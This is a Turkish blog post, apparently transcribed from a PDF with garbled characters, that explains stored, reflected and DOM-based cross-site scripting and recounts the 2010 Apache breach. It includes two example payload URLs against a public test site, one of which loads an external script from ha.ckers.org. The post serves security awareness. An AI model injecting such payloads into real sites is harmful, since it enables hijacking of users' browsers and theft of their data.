XSS !'= Basit Bir Kutucuk
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Bu zamana dek cross-site scripting ile ilgili cok sayida makale, hikaye
okumus olabilirsiniz ancak cross-site scripting zafiyetinin halen web
uygulamalarinda en c¢ok rastlanan guvenlik zafiyetlerinin basinda geliyor
olmasi nedeniyle farkindaligi arttirma adina ben de birseyler karalamak

istedim.

Cross-site scripting, nam-1 diger XSS ve Tirkce meali ile siteler arasi betik
calistirma zafiyeti ile ilgili son kullanici olarak bugliine dek cok fazla
haber duydunuz, yazilimci veya yonetici olarak cok sayida XSS yazan bir
kutucuk gorduniz ve bu nedenle XSS zafiyetinin uygulama Uzerinde zararsiz,
kicik bir kutucuk c¢ikarmaktan ibaret oldugunu dislinebilirsiniz ancak
gercekler bir kutucuk ile sinirli degil.

Siteler arasi betik calistirma zafiyeti (XSS) kabaca bir web uygulamasinin
girdi olarak kabul ettigi kodu (c¢ogunlukla javascript) filtrelemeden
kullaniciya sunmasi sonucunda ortaya c¢ikmaktadir.

Siteler arasi betik calistirma zafiyeti lce ayrilmaktadir;

e Kalic1 (persistent/stored): Kullanicidan girdi olarak alinan kod
(potansiyel zararli javascript) veritabanina bir defa yazildiktan sonra
daha sonra icerigin internet tarayicisi tarafindan her cagrilmasinda
(6rnek olarak foruma yazilmis bir mesaj1i veya bir haberin altina yazilan
bir yorumu duisinin) tekrar ve tekrar kullaniciya sunulur.

e Kalici olmayan (non-persistent/reflected): Kullanicidan girdi olarak
alinan kod (potansiyel zararli javascript) veritabanina yazilmadigi icin
sadece bir defa internet tarayicisi tarafindan (E-posta veya sohbet
programi Uzerinden size go6nderilmis bir baglanti adresine (URL)
tikladiginizi diasinin) cagrilmasi ile kullaniciya sunulur.

e DOM tabanli: Istemci tarafinda bulunan kodun (javascript), DOM’a
(Document Object Model/Belge Nesne Yapisidir) midahale etmesiyle ortaya
¢ikmaktadir. DOM tabanli XSS'in en gizel yani istemci tarafinda oldugu
i¢in sunucuya herhangi bir paket gonderilmemektedir bu nedenle sunucu
tarafinda tespit edilmesi veya engellenmesi mumkin olmaz.

XSS zafiyetinin sadece kutucuk cikartarak, cerez (cookie) calarak veya olta


https://www.mertsarica.com/xss-ve-beef/

(phishing) saldirilarinda kullanarak istismar edilmeyecegine dair en gizel
ornegi Apache’nin gecen sene basina gelenlerden 0grenebilirsiniz. 2010
yilinda art niyetli kisiler tarafindan Apache sunucularinda bulunan bir web
uygulamasinda kesfedilen XSS zafiyetinin istismar edilmesi ile baslayan sizma
girisimi sunucularda root yetkisine sahip olmalari ile son buldu.
Farkindaligi arttirma adina mutlaka okunmasi ve okutturulmasi gereken bu
olaya ait detayli bilgiye buradan ulasabilirsiniz.

XSS zafiyeti ile ilgili bir Ornek lUzerinden gecmezsek anlasilmasi glic olacagi
icin ufak bir 6rnek lUzerinden hizlica ilerleyelim.

Asagida yer alan baglanti adresini ziyaret edecek olursaniz karsiniza
tfSearch parametresine girdi olarak belirtilen Mert kelimesinin aratilmasi
sonucunda sunucu tarafindan donen yaniti gOreceksiniz. Uygulama tarafinda
tfSearch parametresinde girdi kontrolu (kotu karakter filtrelemesi)
yapilmadigi icin XSS zafiyetine yol acmaktadir.

XSS zafiyeti istismar edilmeden kullanim (tfSearch parametresinde XSS
zafiteyi bulunmaktadair):

http://testasp.vulnweb.com/Search.asp?tfSearch=Mert
XSS zafiyetini istismar ederek kullanim #1 (alarm kutucugu):
http://testasp.vulnweb.com/Search.asp?tfSearch=<script>alert('XSS');</script>

XSS zafiyetini istismar ederek kullanim #2 (baska bir siteden zararli
javascript kodu cagirma):

http://testasp.vulnweb.com/Search.asp?tfSearch=<script
SRC=http://ha.ckers.org/xss.js></script>

Unutmayin, XSS zafiyetini istismar ederek zararli bir siteden zararli
javascript kodu cagirmanizi saglayan art niyetli kisiler, internet
tarayicinizi uzaktan yoneterek tum tus kayitlarinizi izleyebilir, ziyaret
ettiginiz siteleri tespit edebilir, Metasploit ile internet tarayicinizin
zafiyetlerini istismar ederek sisteminize sizabilir veya adsl modeminizin
yonetim sayfasindaki CSRF zafiyetini istismar ederek yonetici sifrenizi
degistirerek modeminizi kontrol edebilir.

Tus kayitlarinin Beef araci ile nasil izlenebildigini gosteren videoyu
siddetle izlemenizi tavsiye ederim.


https://blogs.apache.org/infra/entry/apache_org_04_09_2010
https://www.youtube.com/watch?v=I9yDnbtjdd0

Askere gitmeden 6nce hazirlamis oldugum yaylalar yazi dizisinin besincisi
burada son bulurken herkese guvenli gunler dilerim.



